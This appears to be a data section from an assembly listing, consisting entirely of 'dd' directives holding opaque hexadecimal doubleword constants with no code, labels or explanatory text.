		dd 94241266h, 8C22C648h, 42579F78h, 0FED9C78Fh,	3D7AD7CCh
		dd 2A4C5E5Ah, 7105BFF3h, 0B4D7C457h, 15CC7C33h,	0F2BBA4BBh
		dd 4D17661Eh, 53410B4Ch, 0EACAB9C7h, 0FC1A5E9Dh, 0B8B879BEh
		dd 0DEA7FF6Fh, 43B03DB7h, 9AF19E6Ah, 0C11A4A1Eh, 5C5EF574h
		dd 55FB466Bh, 4FBA674Ah, 658AE0F3h, 0C3731028h,	9925BACAh
		dd 0B9173D76h, 9D545D5Fh, 0A1B03A8Dh, 39CBA786h, 6DBA28ECh
		dd 0AD05E2h, 0D5C31DC6h, 8C59C760h, 0F8127D4Ch,	17D61773h
		dd 2D85E26Dh, 65B13231h, 84D7C80Fh, 9CEA9573h, 0D8F74441h
		dd 610D395h, 1810C281h,	91DAABC7h, 1EF75DF6h, 55EECA18h
		dd 6C9BDD94h, 0BFDBECA0h, 42D1CC13h, 0AF2C18D5h, 0A6650ED3h
		dd 0BD2293D7h, 4EE6A9CDh, 0F7E1CF8h, 0D56D7D3Ch, 0EB998BDAh
		dd 8D4180D7h, 2FC39E1h,	921762FEh, 2636184Fh, 0F6105272h
		dd 9F539CBCh, 0D91AB452h, 9A65829Eh, 0FE04B03Ah, 1A6BE1F8h
		dd 0DC3F4D47h, 0E776BD55h, 0D672619Bh, 0ABF8B0EFh, 39CDED1Dh
		dd 5814C1F7h, 0AB645D58h, 6E2AC549h, 0F2CDDDC5h, 1550A852h
		dd 0FB7BE851h, 0D471A6C0h, 0CDEFADABh, 999555EBh, 0FCCCCB36h
		dd 65526330h, 12006F8Fh, 49D0E88Ah, 50B46CEAh, 65A33558h
		dd 9C3E9EA9h, 3EA19FECh, 47BFDFDBh, 0D8B87A81h,	833FBA37h
		dd 0E87F9D0Ch, 0DB2B2F33h, 7AAF8A2Ah, 548869CFh, 325752D5h
		dd 1B572461h, 3C0F796Dh, 1BEB251Ch, 0DD62DB4Bh,	46EAD80Dh
		dd 9885153Bh, 34D1310Dh, 0FDF06F86h, 5437F4C4h,	307B3D0Eh
		dd 0F63263DFh, 96EC75F2h, 0CF719D2Dh, 50AA0FC2h, 17E8BDAAh
		dd 0F50A7E1Fh, 51C0C4C8h, 97B5BD61h, 0E650CD27h, 961314D5h
		dd 2042F8Bh, 6C650Dh, 946DD8AFh, 256BC74h, 92D26547h, 245EB5B0h
		dd 0A2A5C5C7h, 0B2FE06FFh, 908AADD0h, 0FCFFF68Eh, 36A5AFE5h
		dd 0EFDA575Fh, 3B8DA149h, 267F43F1h, 0B5A39A82h, 0F028D220h
		dd 0A57AB588h, 876C684Eh, 313F1F80h, 40519F73h,	0C0F8BDD6h
		dd 4C862DBAh, 6A30EC79h, 0D08F1175h, 0F5B75243h, 3E967716h
		dd 4252750h, 0EA66D5F4h, 0C029FAD8h, 98355155h,	1E82E5F4h
		dd 0AD1C7CDEh, 657FADE4h, 6E111E44h, 3E2C0EC8h,	0C8EF4157h
		dd 474AFB0Ah, 0E1E17EAFh, 3526B31Eh, 0DB9DFDD3h, 0F346F59Bh
		dd 0E5025EBFh, 0E94DD3D5h, 0AA02FAEAh, 77466AAAh, 0C6FED1AEh
		dd 0CB541B0Fh, 1F3C95C2h, 9D11EC5Ch, 838579CBh,	9B7633C9h
		dd 0A075CFC8h, 0BA354C43h, 720ABF4Ah, 5CEFE953h, 0D2D41C61h
		dd 0A3423541h, 8B8798D8h, 84790DE6h, 0C7D7F5Dh,	0E7163157h
		dd 2A10C156h, 0C39D824Ah, 29E14E2Fh, 79F7EBE6h,	46AD36F9h
		dd 0DF5CB577h, 1356045Bh, 0F7C85D5Eh, 699658CFh, 2479ECE7h
		dd 0EF0D599Bh, 485C0D86h, 72484702h, 5D4C3CDDh,	0B206B676h
		dd 0AD15280Eh, 4067971Eh, 257E2CEEh, 29C5739Dh,	0BB115D67h
		dd 0E2A61A7Fh, 0F05E15F0h, 0DE1D4F2Ah, 0ABB54AFh, 0CB843E82h
		dd 2CCD18Ch, 93620DFAh,	3D75D258h, 65FC4E3Dh, 53DA13BDh
		dd 0E3BD2EADh, 747D16Ah, 0A5B94D4Bh, 6B7A86EEh,	8106C24h
		dd 9FFEAE8Eh
		dd 2AF67EE2h, 820FFD7Fh, 83108F5Eh, 4FC2C156h, 56994E39h
		dd 4F681D4Dh, 0A248D999h, 456BE169h, 35320B6Ch,	0A5F06CB3h
		dd 72FAA2E4h, 4E2CA9E6h, 0F694A9E8h, 2AD05AD1h,	0ECB74BADh
		dd 0B8586215h, 0CC834959h, 84E7373Ch, 0A48B5048h, 25F3BEA8h
		dd 4EFED278h, 92793DEDh, 0F9C8D1EFh, 0E33B1545h, 0CEB797ECh
		dd 0FE60C05Dh, 0C3DD70E3h, 78E8D2A9h, 0AF93D4CFh, 2DC36244h
		dd 0E9577B8Bh, 0F567BA38h, 1D10DA41h, 0ABCA4767h, 810535B2h
		dd 701280C0h, 0AD98808Ah, 1C79A02Eh, 0A84562ACh, 8C4841Bh
		dd 22A15D2h, 4E220FC6h,	12A1E902h, 0B84C9F50h, 8C7932E3h
		dd 0E70938F8h, 94E8809Eh, 1DE88C11h, 0D6061301h, 42180A2Fh
		dd 53E0C2Fh, 0F30808F4h, 9A95121h, 0EE141518h, 40D8404Fh
		dd 30A70532h, 0C1828F9Ah, 47948202h, 308340C7h,	9A11606Fh
		dd 8CC05180h, 0AB428D27h, 81045468h, 59819A81h,	8F1FA001h
		dd 551B1C45h, 28F82870h, 422AA1EAh, 75205FE6h, 27B3233h
		dd 77465046h, 8C148D00h, 0A701CE2Eh, 82E95384h,	27B8F163h
		dd 0F4810E60h, 0C67AD405h, 83462990h, 8C387A30h, 26A39A3Ah
		dd 461CF469h, 8D187135h, 658668C1h, 35450A8h, 0CC2C9F31h
		dd 0F0A32A9Bh, 0E784745Dh, 7252A0Ah, 82CA36E3h,	92A15F61h
		dd 0D828EA64h, 7F0781ECh, 79D9F11Ch, 0F848DF03h, 0DE4C7E21h
		dd 3C6F6CDh, 0EC9A3553h, 0BEB7D0D9h, 0CAD50B44h, 0EA734EF6h
		dd 5DCA08D4h, 0DF50FC3h, 0FF9ABD89h, 505CE2BEh,	88685718h
		dd 558B5EFCh, 0E397554Ch, 0FB7E22ABh, 0DA962B4Bh, 305767DBh
		dd 0AB3F957Fh, 728633DAh, 2C5F09A8h, 5D22A12Eh,	63D33755h
		dd 70FE45A2h, 0AEF9946h, 4097AC0Fh, 0EE9889EDh,	5F5218Dh
		dd 0C09D04C7h, 0FC5304C9h, 0E40DE07Dh, 0C3F0D557h, 4C102396h
		dd 0CC0F72E7h, 4CEFFA43h, 0FDBCBA91h, 309664CBh, 9C9A9A6Ch
		dd 76E571BBh, 0F0AD2675h, 0C10E3472h, 7A3BA52h,	108F103Fh
		dd 3FAB8750h, 0D07F867Bh, 47A62FF7h, 0A169FB9Ch, 0B767E5EBh
		dd 0F7E80ADAh, 3ADB8768h, 0D95CA83Bh, 827E22CDh, 0A78A3573h
		dd 81AE0868h, 24BA97C2h, 355EE4FAh, 33A2A119h, 448EA87Eh
		dd 4268ABDBh, 0FD53F999h, 0A9763F19h, 0DCF2A351h, 9CEA746Dh
		dd 19C3D14Ah, 26E72262h, 214CD8F9h, 9067108Ah, 0DF99298Ch
		dd 0F25B5770h, 7BBA95E6h, 3D9CF672h, 0DBABA84Eh, 0A95A7CF3h
		dd 0B5139D2Ch, 0AD770A59h, 0C8BD3AD4h, 0FD486529h, 2E79F0BDh
		dd 0D45F4DB4h, 3910B157h, 0C68C8CF0h, 0CF81FC3Ch, 0D7AAB01h
		dd 0B9119C76h, 0B42D8DBh, 1D02CC7Ch, 317938FEh,	0AD1EBFD3h
		dd 0A46E7764h, 5F4E32ECh, 378EA679h, 0A0AFB00Eh, 0D9D1EDA2h
		dd 37FC3F4h, 0C5A355C9h, 60BA576Ch, 3A3BA6E2h, 167C56Dh
		dd 4A33A9E3h, 95A176Fh,	0E1C8326Eh, 1EC288A5h, 0C780EC74h
		dd 1301FC18h, 0D926A56Fh, 3E8C7653h, 0B4C9D9B5h, 6E6097AFh
		dd 0FD811482h, 0A934F1EDh, 62EDD54Dh, 6E0A41D7h, 9CE5FBEFh
		dd 0DFBE2h, 9FF0C026h, 11EE5111h, 0FB7FC53h, 5EC87F65h
		dd 56621E75h, 47798EF1h, 95C98A1h, 0EC252CECh, 2286FC04h
		dd 0D0B29302h, 1A4F8FB1h, 0C885F45Ah, 0BE478E39h, 0A7689FF8h
		dd 5A468D6Ah, 9908960h,	0B9B86F8Ch, 9F7CC31Ah, 2C990C53h
		dd 0C3CD05B7h, 2040C0D4h, 0C1F3727Ah, 11C85A75h, 0C5992E34h
		dd 13252B32h, 8BCDC96h,	5A70321Dh, 5C3BCD05h, 64273312h
		dd 0DC8FB587h, 0B9FE1595h, 55B8AF96h, 2B191B4h,	2EA752E4h
		dd 0CCBEE856h, 5FD73C7Ah, 0DBFD21D9h, 8178B15Eh, 0FDCA3E07h
		dd 692194E6h, 0DEDBD0E3h, 0D17662DFh, 0D9005ACh, 0AE71AB8Dh
		dd 0D13D247Ch, 0D66774F5h, 22723315h, 50FCDAE5h, 92E6FEA9h
		dd 0F8596EE2h, 2DBE6F13h, 9D7D4F1Dh, 0AAFFAD33h, 8251D546h
		dd 0AC9579FBh, 9E5C3860h, 9F8DC452h, 1492B0ABh,	3A3DC2BAh
		dd 57FEBBF5h, 5AACBD95h, 0F96A9728h, 0D9BDB44Fh, 0DF3DF0E8h
		dd 4E70A955h, 6AE2C291h, 0E91A6A6Fh, 6787D5D0h,	0C06AAF33h
		dd 1621E8AFh, 87D543D9h, 73EE3331h, 0C0309B55h,	0B1754335h
		dd 65A3AAAAh, 0A3F3B52h, 16454B71h, 655CDDABh, 1BF4F3CFh
		dd 8529381Ah, 280B2811h, 13FDBD46h, 32DCEF65h, 727CC9FAh
		dd 85194366h, 54FBDAACh, 0A0F6DBAFh, 0F41C2ED5h, 56DDB83Dh
		dd 5E25270Bh, 0BDED50B2h, 8A2764A6h, 14921700h,	1242F563h
		dd 0A2622EDBh, 1D8CEE8Fh, 0B9768C46h, 9D66FAF9h, 3FF2A7BBh
		dd 2D9AA889h, 0CCBBBABDh, 92FCBB91h, 0E2F4C6C2h, 6C7A5036h
		dd 55BA2289h, 0C07BEB6Eh, 0C1B6B50Fh, 7786A34Ch, 0A4293C8Dh
		dd 2E660F5Bh, 5078939h,	419B0AFFh, 17ECBC47h, 71B63C7h
		dd 99C85315h, 4D0B1DBFh, 0C7E96D17h, 0EB6269h, 0D86AA90h
		dd 58FD63E9h, 0F8FF6078h, 2F622CAAh, 6D29D07Eh,	56B003BAh
		dd 0C95B0DE0h, 92E3E28h, 0FB814B8Dh, 8B63B86Ch,	7277314Bh
		dd 3387F34Eh, 7F5CDD90h, 0B9EC6FB7h, 0AE9ACE73h, 4376FB89h
		dd 8CCB30CCh, 48F3F26Bh, 49565A69h, 0A6ABD21Dh,	55294167h
		dd 0ED1DBD40h, 0EDBF76F9h, 55F587Ch, 0B45C5B13h, 0E1A6C14Ch
		dd 0FC3E56Dh, 0BD6597F3h, 0BAF7FF08h, 30FCB2ADh, 866E96CCh
		dd 88357E20h, 919AED6Bh, 0D7C0FB86h, 6D54A5BDh,	0CC5FF86Dh
		dd 856D8644h, 0A0B102B8h, 79AE43DEh, 91A3227Eh,	53B451B7h
		dd 791C5209h, 40E155FEh, 0A44598B1h, 9EA3F839h,	7D13FBD7h
		dd 488FEE76h, 0E119F5F6h, 84D73554h, 0D6DB5DA7h, 0D03CAF6Eh
		dd 17AD4AABh, 0FEF3A9F2h, 926CF5B9h, 0CE6949A3h, 59CB5F03h
		dd 0DE2A04B7h, 500DF1AFh, 5D892621h, 58676E17h,	571FC3A1h
		dd 45A15D9Ah, 31731CEBh, 6AFC549Bh, 0F3D1DC3h, 0A36D0728h
		dd 0D417AEADh, 8F7A6EE2h, 8BFC1A23h, 9F068873h,	40D7239Eh
		dd 74B0031Dh, 0EA284979h, 0B6D84884h, 0D6FD4EB4h, 0B67E9CBh
		dd 0ADFFABCCh, 47736B8Eh, 0CBAB3428h, 0E43F506Ah, 0B2384372h
		dd 514565BBh, 0AB866AAAh, 65C2A3CAh, 0A773EA76h, 0F4706060h
		dd 7CBA793Dh, 45B2771Ah, 0AA49154Dh, 0A9909ACFh, 28EBA516h
		dd 47173EE9h, 0B97CC9AAh, 26CCB676h, 0B3939B08h, 0C497A837h
		dd 0B899C1E5h, 57F071BBh, 3E17237Eh, 7391D52Ah,	0D14EBCDAh
		dd 99365570h, 5CDD5CDDh, 16F2C7B3h, 0F8883560h,	0ADCE42A1h
		dd 0E632A3C3h, 0CA1CAA75h, 4119F642h, 55BB38D5h, 39E064h
		dd 0CD846452h, 8E535667h, 6132F1EEh, 70AA3FE0h,	15AD9544h
		dd 0D62DE9D1h, 0BCC7FE88h, 47B75842h, 0C83AD9DAh, 0D5224155h
		dd 0A364BFCAh, 258D9B4Dh, 5F628CBCh, 0D6072F27h, 0DA8B17BBh
		dd 2F7974F9h, 62FA7D99h, 2ED1748Bh, 0EFC40327h,	61C270D0h
		dd 961BE3DFh, 7FCB5014h, 0C719749h, 92D95948h, 2E057471h
		dd 0D18DC375h, 0EC294FB7h, 3EDAEB1Dh, 3E8F258Eh, 758C425Eh
		dd 11304017h, 0AD33E233h, 0C501EE62h, 0E8F1B983h, 5D0F9A9Ch
		dd 26CC4E1h, 74247157h,	86A93BBBh, 0F6868E64h, 0B032DC2Fh
		dd 24736DA6h, 63D5FFE8h, 393C2578h, 62E23007h, 0D93B7CCEh
		dd 0B1AE5FF3h, 0D1ACC17Eh, 22C7C516h, 930A2D3Dh, 0B1FE00FFh
		dd 0BFDC71EAh, 0B3E05658h, 2353ECCAh, 0AD0476F8h, 0BC8FFED2h
		dd 65719C3Dh, 0E91E84BDh, 33687E2Bh, 6816A46Bh,	0EB219B74h
		dd 9B087AC3h, 6B5DB4EEh, 6EEAD937h, 58DC0D7Ch, 7D36AD60h
		dd 0B9033BFEh, 6B8D33B0h, 65E4A4FAh, 7591F53Ah,	0BF796E5h
		dd 0EC1AAAB9h, 8F117CFAh, 3A33B5F3h, 87AA9AA9h,	0FF18BB70h
		dd 0E1C45C4Dh, 4622F3FDh
		dd 9E9EBB44h, 69AA0CFEh, 845A3ED8h, 550123D8h, 0EBB3335Dh
		dd 46EF24DEh, 3015B81Fh, 7C0FCA7Ah, 5DE4B8BBh, 0F99182D3h
		dd 679940A2h, 0A7F39CA8h, 1475ECD6h, 24FE178Fh,	6D43ED81h
		dd 77A04B34h, 2B4CB4D0h, 10A37946h, 0AC8EECEAh,	5A3A217Ah
		dd 0CCF2B2B1h, 58E69A1Ah, 6F44B408h, 15762008h,	5C11D62Eh
		dd 7D7892Eh, 4E8E3C36h,	1D412A2Eh, 3CE8BE91h, 7830CDD7h
		dd 0D84C3163h, 682ACFF9h, 18CAC314h, 0D23FC83Dh, 0DCCF63E0h
		dd 0D6FE8BD9h, 0DB5DB99Eh, 607A6D2Ah, 148FDBF7h, 0E1D1D9BAh
		dd 4F786DF7h, 0EDC5E59Eh, 1A022E4h, 0A8562EBFh,	0DD2BF0F2h
		dd 0DD7F64BFh, 0E1AFE604h, 0E7C88383h, 5A301889h, 0A15B334Eh
		dd 0DBCC97E8h, 3F1B9781h, 0E69A6C7Ch, 54D38E56h, 0A954C975h
		dd 0DE29A9FCh, 0D0541771h, 77255BBBh, 3135EA23h, 2EAC4514h
		dd 0EFFC5FE1h, 32C45A2Dh, 0D2D7F2A7h, 60CCCF1h,	8C84879Fh
		dd 23C17305h, 47B4017Dh, 0B56D53B4h, 0CDE175CBh, 58CC8CF2h
		dd 81288B4Eh, 0B24A381Ah, 0C4852FFBh, 2A80730Eh, 9558E0D6h
		dd 9FE42E4Dh, 0DCCB0772h, 57BF555Bh, 72B8A4ADh,	7C4C885Eh
		dd 0DD116559h, 0B2B71CF1h, 0A230D871h, 0E8B61ABDh, 5E3F4FB3h
		dd 44D17DE2h, 907FD67Fh, 8CAB7977h, 1C1E76ABh, 1F8C70E3h
		dd 0D6882C4Eh, 0AA67A755h, 1F3C88FEh, 0D876217Bh, 744E57F2h
		dd 502260C8h, 0B6D211D9h, 5E57AF30h, 1F82D3Ch, 57D6DE05h
		dd 7383C22Eh, 7DEDEEC6h, 0CA62D7A1h, 0F7804E9Ch, 5E363ACFh
		dd 0BDB69E88h, 4FB50BBDh, 9D02BD9h, 74FE69D6h, 5855DF1Fh
		dd 98C58EE5h, 0FE1F787Bh, 0D557CE64h, 0F6AD86A5h, 7FA10D76h
		dd 0EF265BA5h, 5ACA0FC7h, 0B1DBE097h, 0D17C8475h, 0A38D6AAAh
		dd 95560F8Bh, 0B444ECD6h, 7B0A9D6Eh, 4BF9F73Bh,	7DFEF7DBh
		dd 0DBE3A2F6h, 9F66ACBFh, 0CDBC7D8Dh, 0C53950E2h, 66FE6BCDh
		dd 0A729AD01h, 0E0045FDAh, 0CCC8710Ah, 9EA2C5A4h, 0EE9F2036h
		dd 0B27040FEh, 0D47EFA70h, 9768F5B9h, 0B0710992h, 52FE6310h
		dd 9305EF1Dh, 4A261A1Eh, 33141D38h, 1ECD079Fh, 0B3BA122Bh
		dd 88DE2D92h, 1B4F4D77h, 0F05A5596h, 105F2C91h,	95A60C36h
		dd 0FD1662DDh, 959AECA8h, 4A927D5Ch, 548B8A4Ch,	0A467BCDFh
		dd 0E699A317h, 5FAD7686h, 0CE584AE9h, 34CC4EF8h, 607BD746h
		dd 778A3233h, 8BF4135Fh, 9AED0CEFh, 22D2ACB5h, 354ACD0Bh
		dd 86B6D26Fh, 2BC24B75h, 0A745121Dh, 0AD13E909h, 52E888F3h
		dd 0C0828C2Bh, 0F5AAD399h, 6CC59E29h, 2E9956E3h, 0AE159D39h
		dd 89B97918h, 5EFD15F8h, 52767DD9h, 0DA40541Eh,	2BCBCEFCh
		dd 61EEEE98h, 53CAB86Ch, 0B3D72568h, 7D85280h, 0C28FC542h
		dd 0AD5755D0h, 0B0958E6h, 3FD83774h, 747C4D82h,	6D72A0B1h
		dd 94220FF5h, 3053A10Eh, 0CAE996A8h, 3C97DE36h,	75F7DBB9h
		dd 1215AAACh, 0C39302F8h, 14E909CAh, 26365A28h,	3EC9D2EEh
		dd 0EF74371h, 0AA0CC7A4h, 0DFE518D2h, 0E8A0EAEEh, 0AAACA37Fh
		dd 4FB78577h, 0C28AE311h, 0F5BCA3D5h, 0D836DB21h, 0B9CFE2BCh
		dd 0AE98036h, 0BD13BCDDh, 77B188D6h, 0A2FAAA65h, 0C95F2F6Bh
		dd 4F6D878Bh, 53537909h, 2AB53F74h, 97FEEFB2h, 1BB065D8h
		dd 8ADBC76Eh, 472F5EDFh, 0A71EA6B3h, 0D5C28B56h, 7852AF7Bh
		dd 6FB4F83Eh, 7E8FD2FDh, 0DDD47BEBh, 23B91603h,	0A138AF4h
		dd 0A8345C0Fh, 76D01EC9h, 5DDED2C5h, 4796EF6Eh,	667497CEh
		dd 0DC1FA993h, 8B2D3470h, 6807ECAEh, 0AC2B9F7Ch, 0A31E78A0h
		dd 0DEABF932h, 546DB932h, 5C670A4Ah, 0FA951272h, 1876EACAh
		dd 29C789B4h, 0F3276A37h, 0BE4F8D9Ch, 214B6A92h, 0F06205D6h
		dd 8C3BDB17h, 2F4F7F33h, 7D2C3624h, 0D677A85Eh,	17218631h
		dd 0D831E5D6h, 201321A0h, 54096AAEh, 1223AA55h,	0F893746Fh
		dd 533F6867h, 0F7EBF41Fh, 0AC7E4041h, 0C1A7E1F8h, 6AAC1972h
		dd 369B9254h, 3EEE2CE6h, 2ECF0A0Bh, 133A8541h, 6EDDFF7h
		dd 1465CC66h, 3BFD4D61h, 0B7A05E91h, 4E66AFB0h,	0FBF1DB2Ah
		dd 7AEA27F0h, 93E4B574h, 23C0DEEDh, 63DD0546h, 0ECAD88FAh
		dd 428CFE3Bh, 2C0F2FA7h, 7A89DA97h, 3923DBC3h, 9312BE91h
		dd 5C29FAAAh, 9A4B7B94h, 0AB5AD5EDh, 3A4D13D0h,	0F4BE34D2h
		dd 0A5E4B95Bh, 7F356E85h, 51DAA160h, 0DB767B4Ch, 0C3EA32B8h
		dd 41EC50C8h, 333E09FDh, 5DBD2ED2h, 59770577h, 38503AE5h
		dd 7FB54571h, 0BB23C779h, 5CC04AF8h, 0DD3F813Dh, 0BF0DF8C9h
		dd 5BE7B64Fh, 149AFC51h, 2DAC6064h, 6288AB4Bh, 99C59B01h
		dd 77735656h, 0C6764B46h, 0F04E8787h, 575712BFh, 0DECCE78Ch
		dd 0BEDD2884h, 982FF03Ch, 0D22E166Fh, 0FC3DEB87h, 0F5A213C2h
		dd 4CED64AFh, 8EE17249h, 561CD9AAh, 0FC37495h, 0D0C5B83h
		dd 3756F5F5h, 52365EDDh, 485F6D2Dh, 0AB2A9C1Ah,	9AAB63B4h
		dd 0AAE4259Eh, 0A405860Ch, 44985F0Eh, 7B2F7F15h, 0BE85E459h
		dd 64250EE5h, 0D1572CADh, 92B9A261h, 0AD3A3054h, 6DA7304Bh
		dd 5E91CB5Bh, 0ED4E30B9h, 0D33F4759h, 0A76A9F0Dh, 3DB23EBh
		dd 8F3296B7h, 7CE1B6FBh, 0EB397464h, 7E2FC0BBh,	32DBBF28h
		dd 0A3B456E3h, 0A75A6DFDh, 0F865221h, 0D44A136Ch, 0A0EF13DCh
		dd 0FD2BF824h, 8CADCC78h, 4EDBB4FBh, 503F2D0Ch,	74869AAh
		dd 6F55A43Fh, 0F1DA5C42h, 0E71B4611h, 5F14AF6Eh, 5ACB3362h
		dd 0FAF0D2DBh, 5FD8D65Dh, 0A8CABF24h, 1B691498h, 0E0BC7C11h
		dd 0DA3E4887h, 0A93BD675h, 7E689496h, 4FC71604h, 96702DF7h
		dd 34460CACh, 0C49CAD26h, 4063C70Fh, 0D7E7A42Ch, 4F1CF21Ah
		dd 13FD5B65h, 165B699Eh, 0CA271D8Eh, 0E30FA3AEh, 0E4AF379Fh
		dd 0CB50C751h, 9DEE69Ch, 4ABEE2C3h, 257EE6Bh, 0C3F10EC6h
		dd 0A3BCF1E9h, 0BB03182Bh, 0EDDD3526h, 0E185DECFh, 0A4D11318h
		dd 0DB59F814h, 0E0FBF01Ah, 99588B92h, 22EEE32Dh, 1F80257Eh
		dd 960A7E8Eh, 512DE5CEh, 3DEA1484h, 0DA7810A9h,	0ED88D6A7h
		dd 730A37F9h, 0D54C4EF5h, 0ABA0ACD4h, 0B4700F6Eh, 9C78881Dh
		dd 413E5DCh, 8D4A386Fh,	79586BC0h, 6CFE609Dh, 0E0ED1855h
		dd 6B528DBFh, 0C65C02C9h, 2372918Dh, 74E58C9Ah,	0A6077FA8h
		dd 447F2F2Dh, 1499A919h, 2FCB48B1h, 7416E9D6h, 50F868C3h
		dd 0F8C0B253h, 20B3F718h, 0C64359E5h, 527A3E12h, 0A1185595h
		dd 0D9122D57h, 4D3CABC9h, 0B03BE653h, 1819A1Eh,	884A7CE3h
		dd 0B4758628h, 0F8B7B89h, 0C62769EDh, 0A1193505h, 961E5499h
		dd 5D738E69h, 7B3D2CCEh, 0E5A2FA1Ah, 1978CA14h,	86ABD982h
		dd 0BA9A25CBh, 0EDB73B88h, 0CBF06A2Ah, 23B095CCh, 0DAD80E5Ah
		dd 0B73F5087h, 2FA5786h, 4673D8A9h, 4AE43A8Ah, 4EF0453Eh
		dd 0E7A8F393h, 661FF868h, 0F5C58E74h, 43DC85C1h, 700E6A4Dh
		dd 0F786A447h, 932D4F65h, 79DB8C3h, 0ABD8942Bh,	496081F1h
		dd 4DD797DEh, 34EF5DFEh, 61B14891h, 931629A3h, 2026EE7Dh
		dd 20AAADC4h, 0E13718E4h, 0FBC07F7Ch, 4F235317h, 0D6E42D12h
		dd 3F863F6Dh, 0E291BBF2h, 14BBB50Bh, 0BCA555ADh, 7F4D26BFh
		dd 0E2C4F712h, 0A2AB2A7Dh, 5BBAF649h, 5E7EEC52h, 85F13D61h
		dd 0E541EFADh, 5AAF3B69h, 0DD22FF02h, 1BFEDB64h, 0AF9C913Eh
		dd 0FB9D25B2h, 36E612F7h, 0BD8EC855h, 0F1F2731Ch, 0C73E6299h
		dd 62173B93h, 0A5368066h, 7B905F2h, 4F8817FBh, 6DD88C3h
		dd 0D3252315h, 0C6C4A595h, 6280478Dh, 644D317Ch, 55253179h
		dd 4A55E731h, 0A17AF238h, 0A4AE315Fh, 46DB0E13h, 0E365760Bh
		dd 4E0C98C6h, 32BB9CDBh
		dd 726EFD90h, 0A263135Eh, 55177451h, 3B4E49CCh,	2CDEE6A9h
		dd 0B6B23662h, 35D4CD9Fh, 5666DCDEh, 0AF3E40Eh,	8830BE19h
		dd 0C9E67E2Ah, 6EDCEA39h, 2574774Eh, 47E949F0h,	0A0F565Dh
		dd 0F79C9C74h, 8B21BF22h, 0EFCAC2AAh, 97850595h, 0A0C39DE1h
		dd 85355BA1h, 0AE92EC99h, 97A3C2DEh, 0B36C6A5Ah, 7099F4BFh
		dd 3EB28ABBh, 2E5ABA99h, 8B578699h, 0FE37E1A8h,	77B5F51Ch
		dd 2AF951A7h, 2E0B74ABh, 659E3814h, 349F9E1h, 0DE0F5CDEh
		dd 1FAC607Fh, 5F439973h, 91F3F4D9h, 0C2FE03C8h,	0E6A8F5DAh
		dd 5C9084Fh, 0BE0EB863h, 24D8F48Ch, 6F8B18ECh, 6049DF3Ch
		dd 0F47C13F9h, 0C070E4E9h, 0CADF53E6h, 1A6CAD76h, 741E19FBh
		dd 7DB967C5h, 9878D949h, 1A83F573h, 6291DA9h, 3FDE8D57h
		dd 91CFC241h, 4089D553h, 1A05549Dh, 0CC79CE45h,	0EB79615Fh
		dd 0BF8DA445h, 3772CB44h, 267FFDE2h, 9947627Eh,	93A02EB2h
		dd 0C4442D1Ch, 0F48DE3D2h, 0EABEF96Eh, 0FCD74EA2h, 2E62C42h
		dd 50A75B49h, 31E58A40h, 98E131D7h, 0D2B59DACh,	0F86238ABh
		dd 0E266A9F6h, 0DF154E13h, 18DDC6A6h, 375D84EEh, 26700592h
		dd 0FB36D5E6h, 0EE55F02h, 0F355F459h, 0FF6C5BA1h, 0C8F5AD26h
		dd 82535471h, 7B9FD2C1h, 284B6B7h, 7576AE29h, 334B6D13h
		dd 90785713h, 0DD0469C8h, 8154513Dh, 9341518Ch,	0F1BF014Fh
		dd 149F4D66h, 2A99D661h, 1380ABC0h, 64FFD3h, 9927CC33h
		dd 0CD9C9F6Eh, 0EE6F91F7h, 76DEDDCBh, 4CA27216h, 45FE7397h
		dd 5D1EFF6Bh, 877C7C8Fh, 2CCB8C5Fh, 245285E3h, 29B9EDD2h
		dd 8CA51CCAh, 2593F77Fh, 0FBF0F97Fh, 0FBC76510h, 0B238BB56h
		dd 32791D6Bh, 0AAD9ABCEh, 5094DD59h, 359DF6A1h,	0CCFA3E4h
		dd 0A1BDC9A2h, 0D1779C0Fh, 9CCCAE2Dh, 0EAA4BFDCh, 0EBC0ED51h
		dd 0CEA263D1h, 0C20341B3h, 0C797164Dh, 433787BEh, 0FC6F839h
		dd 0F8062D5h, 0B6AB6B7Ah, 0AEB08B3Fh, 0AC1F65F0h, 8F4D00CEh
		dd 0B867168Bh, 0D49E8FA6h, 0E5B4C135h, 0A0AF93AFh, 321E5DAEh
		dd 8983BEFh, 113B683Ch,	57A9BC95h, 0EBC28B90h, 290534D0h
		dd 0A4B73EFDh, 2FF46E6Ah, 3AFB52BAh, 0E5D2CD6Eh, 0F777DC6Eh
		dd 4C67F0E0h, 64AFEC4Dh, 742C9D8Ch, 3CD3DD95h, 0A81FF30Bh
		dd 7B64B87Ah, 4FB439B5h, 0EFBC334Ah, 0A2DAB5DAh, 0DCA8D925h
		dd 0E76AE2D9h, 0CBB09156h, 74742690h, 78753C1Fh, 321FC5EDh
		dd 88696815h, 73288F2h,	0B5D97C7Eh, 3F2CA981h, 0EFF47858h
		dd 0D977736h, 85FDD041h, 0A6E34823h, 29AB1DE9h,	0FE8AF6D0h
		dd 0EE5FF9D7h, 99F099FDh, 3641EFC6h, 0BC00CA34h, 73A7F12Eh
		dd 52FA43D3h, 0BFDF2931h, 0B5F19704h, 75C9BD1h,	94086E1Ch
		dd 0B174A4A8h, 699C593Ch, 709169E4h, 0C6A939Dh,	0CEA97A9Eh
		dd 0C94A3CC8h, 3EB79CBCh, 0E81A3332h, 0E9BDFA0h, 79BF90FDh
		dd 0BB4183C6h, 238DBDF8h, 3EE2EA73h, 0ED120AD8h, 66F29B54h
		dd 0F513AF5Fh, 41BDBA8Ah, 966850A8h, 0D27DA2DEh, 3EC26DA2h
		dd 853E48D6h, 0D1B0C126h, 0F61FE7B7h, 996B2DC4h, 3A2173DBh
		dd 4B232173h, 1C6F4559h, 4ED8C28Dh, 0F9590AB1h,	66BD73Bh
		dd 88449BF1h, 57BDF9B6h, 75380F8Ah, 48D88F6Ah, 0AF197CB0h
		dd 642875A6h, 56D81709h, 8C938AE2h, 0DD661955h,	64FDB0A4h
		dd 3FD8DD0Eh, 46AEDEF0h, 83E8164Ah, 7B4774C7h, 7EE21055h
		dd 11C0E6E7h, 0FF0EBAC9h, 0D284D4C2h, 756C7F7Dh, 0CB462372h
		dd 4D5FD51Eh, 0BF395EC4h, 8EEB8BB2h, 6F27CFF1h,	9ECA2FE3h
		dd 0CFB6B933h, 0BCAB2A17h, 0F38FFE6Fh, 6C4097A4h, 935C7B78h
		dd 5B9F931Fh, 0D38749E7h, 686616B2h, 0BCAACAD0h, 0BA94EA96h
		dd 24982C36h, 662BAAB0h, 0BC321FBFh, 8D4A88C6h,	0B6FFD30Ah
